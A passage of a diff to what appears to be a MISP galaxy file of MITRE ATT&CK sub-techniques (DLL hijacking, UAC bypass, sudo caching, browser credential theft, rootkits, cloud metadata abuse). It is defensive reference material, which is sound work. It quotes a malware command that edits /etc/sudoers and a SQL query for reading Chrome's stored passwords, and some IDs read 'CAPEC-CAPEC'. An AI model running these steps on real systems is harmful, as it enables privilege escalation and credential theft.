"https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + ] + }, + "related": [ + { + "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "type": "subtechnique-of" + } + ], + "uuid": "8cdeb020-e31e-4f88-a582-f53dcfbda819", + "value": "Make and Impersonate Token - T1134.003" + }, + { + "description": "Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.", + "meta": { + "external_id": "T1195.003", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Component firmware", + "BIOS", + "Disk forensics", + "EFI" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1195/003" + ] + }, + "related": [ + { + "dest-uuid": "3f18edba-28f4-4bb9-82c3-8aa60dcac5f7", + "type": "subtechnique-of" + } + ], + "uuid": "39131305-9282-45e4-ac3b-591d2d4fc3ef", + "value": "Compromise Hardware Supply Chain - T1195.003" + }, + { + "description": "Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.\n\nSystem file associations are listed under HKEY_CLASSES_ROOT\\.[extension], for example HKEY_CLASSES_ROOT\\.txt. The entries point to a handler for that extension located at HKEY_CLASSES_ROOT\\[handler]. The various commands are then listed as subkeys underneath the shell key at HKEY_CLASSES_ROOT\\[handler]\\shell\\[action]\\command. For example: \n* HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\print\\command\n* HKEY_CLASSES_ROOT\\txtfile\\shell\\printto\\command\n\nThe values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)", + "meta": { + "external_id": "CAPEC-556", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1546/001", + "https://capec.mitre.org/data/definitions/556.html", + "https://support.microsoft.com/en-us/help/18539/windows-7-change-default-programs", + "http://msdn.microsoft.com/en-us/library/bb166549.aspx", + "https://docs.microsoft.com/windows-server/administration/windows-commands/assoc", + "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_fakeav.gzd" + ] + }, + "related": [ + { + "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db", + "type": "subtechnique-of" + } + ], + "uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c", + "value": "Change Default File Association - T1546.001" + }, + { + "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.", + "meta": { + "external_id": "T1564.001", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1564/001", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + ] + }, + "related": [ + { + "dest-uuid": "22905430-4901-4c2a-84f6-98243cb173f8", + "type": "subtechnique-of" + } + ], + "uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d", + "value": "Hidden Files and Directories - T1564.001" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL. (Citation: Microsoft Dynamic-Link Library Redirection) (Citation: Microsoft Manifests) (Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.\nPrograms that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", + "meta": { + "external_id": "CAPEC-471", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process monitoring", + "DLL monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/001", + "https://capec.mitre.org/data/definitions/471.html", + "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN", + "https://www.owasp.org/index.php/Binary_planting", + "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637", + "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN", + "https://msdn.microsoft.com/en-US/library/aa375365", + "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34", + "value": "DLL Search Order Hijacking - T1574.001" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.", + "meta": { + "external_id": "CAPEC-CAPEC", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Services", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/010", + "https://capec.mitre.org/data/definitions/CAPEC.html" + ] + }, + "related": [ + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "type": "subtechnique-of" + } + ], + "uuid": "9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd", + "value": "Services File Permissions Weakness - T1574.010" + }, + { + "description": "Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: https://api.github.com). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.\n\nExfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network. ", + "meta": { + "external_id": "T1567.001", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process use of network", + "Packet capture", + "Netflow/Enclave netflow", + "Network protocol analysis", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1567/001" + ] + }, + "related": [ + { + "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", + "type": "subtechnique-of" + } + ], + "uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7", + "value": "Exfiltration to Code Repository - T1567.001" + }, + { + "description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nAdversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.", + "meta": { + "external_id": "T1562.002", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "Windows event logs", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1562/002", + "https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/" + ] + }, + "related": [ + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "type": "subtechnique-of" + } + ], + "uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", + "value": "Disable Windows Event Logging - T1562.002" + }, + { + "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", + "meta": { + "external_id": "T1548.002", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1548/002", + "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works", + "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx", + "https://msdn.microsoft.com/en-us/library/ms679687.aspx", + "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html", + "https://github.com/hfiref0x/UACME", + "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/", + "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware", + "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass", + "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/", + "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/" + ] + }, + "related": [ + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "type": "subtechnique-of" + } + ], + "uuid": "120d5519-3098-4e1c-9191-2aa61232f073", + "value": "Bypass User Access Control - T1548.002" + }, + { + "description": "Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors. \n\nAdversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ", + "meta": { + "external_id": "T1497.002", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process use of network" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1497/002", + "https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667", + "https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/", + "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + ] + }, + "related": [ + { + "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "type": "subtechnique-of" + } + ], + "uuid": "91541e7e-b969-40c6-bbd8-1b5352ec2938", + "value": "User Activity Based Checks - T1497.002" + }, + { + "description": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.\n\nMost cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)\n\nIf adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)\n\nThe de facto standard across cloud service providers is to host the Instance Metadata API at http[:]//169.254.169.254.\n", + "meta": { + "external_id": "T1552.005", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs", + "AWS CloudTrail logs", + "Azure activity logs" + ], + "mitre_platforms": [ + "AWS", + "GCP", + "Azure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1552/005", + "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html", + "https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/", + "https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse" + ] + }, + "related": [ + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "type": "subtechnique-of" + } + ], + "uuid": "19bf235b-8620-4997-b5b4-94e0659ed7c3", + "value": "Cloud Instance Metadata API - T1552.005" + }, + { + "description": "Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.\n\nExamples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service. ", + "meta": { + "external_id": "T1567.002", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process use of network", + "Packet capture", + "Netflow/Enclave netflow", + "Network protocol analysis", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1567/002" + ] + }, + "related": [ + { + "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", + "type": "subtechnique-of" + } + ], + "uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", + "value": "Exfiltration to Cloud Storage - T1567.002" + }, + { + "description": "Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The sudo command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a timestamp_timeout, which is the amount of time in minutes between instances of sudo before it will re-prompt for a password. This is because sudo has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at /var/db/sudo with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a tty_tickets variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, /etc/sudoers, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like user1 ALL=(ALL) NOPASSWD: ALL (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, /var/db/sudo's timestamp can be monitored to see if it falls within the timestamp_timeout range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if tty_tickets is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled tty_tickets to potentially make scripting easier by issuing echo \\'Defaults !tty_tickets\\' >> /etc/sudoers (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued killall Terminal. As of macOS Sierra, the sudoers file has tty_tickets enabled by default.", + "meta": { + "external_id": "T1548.003", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1548/003", + "https://www.sudo.ws/", + "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", + "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does" + ] + }, + "related": [ + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "type": "subtechnique-of" + } + ], + "uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0", + "value": "Sudo and Sudo Caching - T1548.003" + }, + { + "description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim’s cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData ‎April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", + "meta": { + "external_id": "T1555.003", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "File monitoring", + "API monitoring", + "PowerShell logs", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1555/003", + "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html", + "https://docs.microsoft.com/en-us/windows/desktop/api/dpapi/nf-dpapi-cryptunprotectdata", + "https://www.proofpoint.com/us/threat-insight/post/new-vega-stealer-shines-brightly-targeted-campaign", + "https://www.fireeye.com/blog/threat-research/2017/07/hawkeye-malware-distributed-in-phishing-campaign.html", + "https://github.com/putterpanda/mimikittenz" + ] + }, + "related": [ + { + "dest-uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "type": "subtechnique-of" + } + ], + "uuid": "58a3e6aa-4453-4cc8-a51f-4befe80b31a8", + "value": "Credentials from Web Browsers - T1555.003" + }, + { + "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)", + "meta": { + "external_id": "T1548.004", + "kill_chain": [ + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1548/004", + "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg", + "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8", + "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/", + "https://objective-see.com/blog/blog_0x2A.html" + ] + }, + "related": [ + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "type": "subtechnique-of" + } + ], + "uuid": "b84903f0-c7d5-435d-a69e-de47cc3578c0", + "value": "Elevated Execution with Prompt - T1548.004" + }, + { + "description": "Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.", + "meta": { + "external_id": "T1499.004", + "kill_chain": [ + "mitre-attack:impact" + ], + "mitre_data_sources": [ + "Network device logs", + "Network intrusion detection system", + "Web application firewall logs", + "Web logs", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows", + "AWS", + "GCP", + "Azure", + "Office 365", + "Azure AD", + "SaaS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1499/004", + "https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html" + ] + }, + "related": [ + { + "dest-uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4", + "type": "subtechnique-of" + } + ], + "uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", + "value": "Application or System Exploitation - T1499.004" + }, + { + "description": "Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) \n\nWhen used maliciously, LKMs can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands.\n\nAdversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)", + "meta": { + "external_id": "T1547.006", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "macOS", + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1547/006", + "https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf", + "http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html", + "http://www.megasecurity.org/papers/Rootkits.pdf", + "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html", + "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", + "https://github.com/f0rb1dd3n/Reptile", + "https://github.com/m0nad/Diamorphine", + "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/", + "https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/", + "http://tldp.org/HOWTO/Module-HOWTO/x197.html", + "https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux" + ] + }, + "related": [ + { + "dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", + "type": "subtechnique-of" + } + ], + "uuid": "a1b52199-c8c5-438a-9ded-656f1d0888c6", + "value": "Kernel Modules and Extensions - T1547.006" + }, + { + "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) ", + "meta": { + "external_id": "CAPEC-CAPEC", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Windows Registry", + "Services", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1574/011", + "https://capec.mitre.org/data/definitions/CAPEC.html", + 